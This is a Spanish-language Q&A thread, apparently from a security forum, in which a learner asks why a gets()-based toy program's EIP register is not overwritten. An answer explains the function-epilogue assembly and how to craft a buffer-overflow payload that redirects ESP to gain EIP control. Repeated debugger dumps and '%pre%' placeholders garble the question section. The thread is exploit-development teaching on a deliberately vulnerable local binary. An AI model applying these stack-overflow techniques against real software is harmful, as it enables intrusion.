No se puede sobrescribir el registro EIP

7

Código fuente para ambos programas al final de la publicación

Por lo tanto, he trabajado a través de Hacking: The Art Of Exploitation, y hasta ahora todo bien. He logrado controlar EIP en el programa vulnerable notesearch.c.

gdb-peda$ run $(perl -e 'print "a"x112 . "bbbb"')
Starting program: /root/hacking/booksrc/notesearch $(perl -e 'print "a"x112 . "bbbb"')
[DEBUG] found a 5 byte note for user id 0
[DEBUG] found a 7 byte note for user id 0
-------[ end of note data ]-------

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers----------------------------------    -]
EAX: 0x0 
EBX: 0x0 
ECX: 0xbffff300 ('a' <repeats 36 times>, "
gdb-peda$ run
Starting program: /root/vulnerable 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbbbb

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0x41414141 ('AAAA')
EDX: 0xb7fb687c --> 0x0 
ESI: 0x1 
EDI: 0xb7fb5000 --> 0x1b3db0 
EBP: 0x41414141 ('AAAA')
ESP: 0x4141413d ('=AAA')
EIP: 0x804841d (<main+50>:  ret)
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048416 <main+43>: mov    ecx,DWORD PTR [ebp-0x4]
   0x8048419 <main+46>: leave  
   0x804841a <main+47>: lea    esp,[ecx-0x4]
=> 0x804841d <main+50>: ret    
   0x804841e:   xchg   ax,ax
   0x8048420 <__libc_csu_init>: push   ebp
   0x8048421 <__libc_csu_init+1>:   push   edi
   0x8048422 <__libc_csu_init+2>:   push   esi
[------------------------------------stack-------------------------------------]
Invalid $SP address: 0x4141413d
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0804841d in main ()
gdb-peda$ p/x $eip
$1 = 0x804841d
gdb-peda$ 
3") EDX: 0x0 ESI: 0x2 EDI: 0xb7fb5000 --> 0x1b3db0 EBP: 0x0 ESP: 0xbffff300 ('a' <repeats 36 times>, "
#include <stdio.h>

int main(){
    char *buffer[64];
    gets(buffer);
    return 0;
}
3") EIP: 0x61616161 ('aaaa') EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code------------------------------------ -] Invalid $PC address: 0x61616161 [------------------------------------stack------------------------------------ -] 0000| 0xbffff300 ('a' <repeats 36 times>, "
gdb-peda$ run $(perl -e 'print "a"x112 . "bbbb"')
Starting program: /root/hacking/booksrc/notesearch $(perl -e 'print "a"x112 . "bbbb"')
[DEBUG] found a 5 byte note for user id 0
[DEBUG] found a 7 byte note for user id 0
-------[ end of note data ]-------

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers----------------------------------    -]
EAX: 0x0 
EBX: 0x0 
ECX: 0xbffff300 ('a' <repeats 36 times>, "
gdb-peda$ run
Starting program: /root/vulnerable 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbbbb

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0x41414141 ('AAAA')
EDX: 0xb7fb687c --> 0x0 
ESI: 0x1 
EDI: 0xb7fb5000 --> 0x1b3db0 
EBP: 0x41414141 ('AAAA')
ESP: 0x4141413d ('=AAA')
EIP: 0x804841d (<main+50>:  ret)
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048416 <main+43>: mov    ecx,DWORD PTR [ebp-0x4]
   0x8048419 <main+46>: leave  
   0x804841a <main+47>: lea    esp,[ecx-0x4]
=> 0x804841d <main+50>: ret    
   0x804841e:   xchg   ax,ax
   0x8048420 <__libc_csu_init>: push   ebp
   0x8048421 <__libc_csu_init+1>:   push   edi
   0x8048422 <__libc_csu_init+2>:   push   esi
[------------------------------------stack-------------------------------------]
Invalid $SP address: 0x4141413d
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0804841d in main ()
gdb-peda$ p/x $eip
$1 = 0x804841d
gdb-peda$ 
3") EDX: 0x0 ESI: 0x2 EDI: 0xb7fb5000 --> 0x1b3db0 EBP: 0x0 ESP: 0xbffff300 ('a' <repeats 36 times>, "
#include <stdio.h>

int main(){
    char *buffer[64];
    gets(buffer);
    return 0;
}
3") EIP: 0x61616161 ('aaaa') EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code------------------------------------ -] Invalid $PC address: 0x61616161 [------------------------------------stack------------------------------------ -] 0000| 0xbffff300 ('a' <repeats 36 times>, "%pre%3") 0004| 0xbffff304 ('a' <repeats 32 times>, "%pre%3") 0008| 0xbffff308 ('a' <repeats 28 times>, "%pre%3") 0012| 0xbffff30c ('a' <repeats 24 times>, "%pre%3") 0016| 0xbffff310 ('a' <repeats 20 times>, "%pre%3") 0020| 0xbffff314 ('a' <repeats 16 times>, "%pre%3") 0024| 0xbffff318 ('a' <repeats 12 times>, "%pre%3") 0028| 0xbffff31c ("aaaaaaaa%pre%3") [----------------------------------------------------------------------------- -] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x61616161 in ?? () gdb-peda$
3") 0004| 0xbffff304 ('a' <repeats 32 times>, "%pre%3") 0008| 0xbffff308 ('a' <repeats 28 times>, "%pre%3") 0012| 0xbffff30c ('a' <repeats 24 times>, "%pre%3") 0016| 0xbffff310 ('a' <repeats 20 times>, "%pre%3") 0020| 0xbffff314 ('a' <repeats 16 times>, "%pre%3") 0024| 0xbffff318 ('a' <repeats 12 times>, "%pre%3") 0028| 0xbffff31c ("aaaaaaaa%pre%3") [----------------------------------------------------------------------------- -] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x61616161 in ?? () gdb-peda$

Sin embargo, una vez que escribo mi propio código de buggy muy simple y trato de controlar el EIP, esto sucede

%pre%

No obtengo nada, ¿no debería ESP no cambiarse (ya que no está almacenado en la pila) y se sobrescribe el EIP?

Puede encontrar notesearch.c @ enlace A continuación se muestra mi programa "explotable".

No hace falta decir que tengo ASLR deshabilitado y los programas están compilados con las banderas -fno-stack-protector y -zexecstack. Si necesita más información, deje un comentario.

%pre%     
pregunta user3006498 22.04.2016 - 18:57
fuente

1 respuesta

6

Tu código es incorrecto:

#include <stdio.h>

int main(){
    char *buffer[64];
    gets(buffer);
    return 0;
}

El char *buffer[64] crea una matriz de punteros a caracteres.

Inténtalo de nuevo con esto:

#include <stdio.h>

int main(){
    char buffer[64];
    gets(buffer);
    return 0;
}

Ejecútelo en IDEone .

En realidad, puedo ver varias razones por las que esto no funcionó. Vamos a seguir a través de su asamblea:

   0x8048416 <main+43>: mov    ecx,DWORD PTR [ebp-0x4]

Dado que ebp-0x4 es una ubicación dentro de tu búfer de entrada, ecx se carga con 0x41414141 .

   0x8048419 <main+46>: leave  

Esto borra el marco de la pila actual, básicamente configurando esp a ebp , luego saca el valor superior de la pila en ebp para restaurar el puntero del marco anterior. Puede ver nuevamente que ebp se configuró en 0x41414141 , porque el elemento superior de la pila aún era parte de su búfer.

   0x804841a <main+47>: lea    esp,[ecx-0x4]

Esto carga la dirección efectiva de ecx-0x4 en esp . Piense en lea como una instrucción matemática de puntero conveniente. En este caso, literalmente, solo se hace esp = ecx - 0x4 . Es por esto que su valor esp es 0x4141413d .

=> 0x804841d <main+50>: ret    

Una instrucción ret establece eip en el valor superior de la pila. El problema aquí es que el puntero de su pila está configurado en memoria no válida. Lo sobrescribiste con 0x4141413d .

¿Por qué sucedió esto? Para empezar, su carga útil es seguramente demasiado larga, pero hay una diferencia en el ensamblaje entre lo que hace su código y lo que hizo el código de ejemplo. Sin embargo, hay un lado positivo: tienes el control del puntero de pila inmediatamente antes de una instrucción ret . Esto significa que solo tienes que apuntar esp a la memoria que controlas, y obtienes eip control.

Lo que quiere hacer es ejecutar el código hasta que llegue a <main+43> , luego la compensación de trabajo en su carga útil se colocó en ebp+0x4 . Puede hacer esto un poco más fácil usando una herramienta como pattern_create.rb de Metasploit, pero solo observar los valores en la pila debería ser suficiente para resolverlo manualmente.

Entonces, imaginemos que 80 bytes en tu carga útil es desde donde la aplicación lee ese valor. Tu carga útil ahora quiere comenzar con 'A' * 80 . Después de esto, codifique la dirección de la pila menos 8 bytes en la carga útil. Entonces, si el puntero de pila en ese punto era 0x4120EC40, resta 8 para obtener 0x4120EC38, luego coloca \x41\x20\xEC\x38 en tu carga útil después de todos los valores de A .

La próxima vez que ejecute el programa, lo que debería suceder es esto:

0x8048416 <main+43>: mov    ecx,DWORD PTR [ebp-0x4]
; [ebp-0x4] contains an address slightly further up the stack (0x4120EC38)
; all the memory around this address contains 0x41414141
0x8048419 <main+46>: leave  
; leave the stack frame, setting esp and popping ebp
; both registers are trashed but it doesn't matter
0x804841a <main+47>: lea    esp,[ecx-0x4]
; subtract 4 from 0x4120EC38, giving us 0x4120EC34
; then set esp to this value - [esp] is now 0x41414141
0x804841d <main+50>: ret    
; pop the top value off the stack and set eip to it
; eip is now 0x41414141

Usted gana.

Como complemento, puede encontrarse con el problema de que no puede codificar la dirección de pila en su carga útil porque contiene un byte nulo. Puede evitar esto acortando su carga útil de modo que solo sobrescriba parcialmente el puntero del marco de la pila, de modo que puede cambiar el byte menos significativo (o dos bytes) permitiendo que el control parcial sobre esp lo apunte más arriba en la pila, en lugar de sobreescribiéndolo totalmente.

    
respondido por el Polynomial 22.04.2016 - 19:30
fuente

Lea otras preguntas en las etiquetas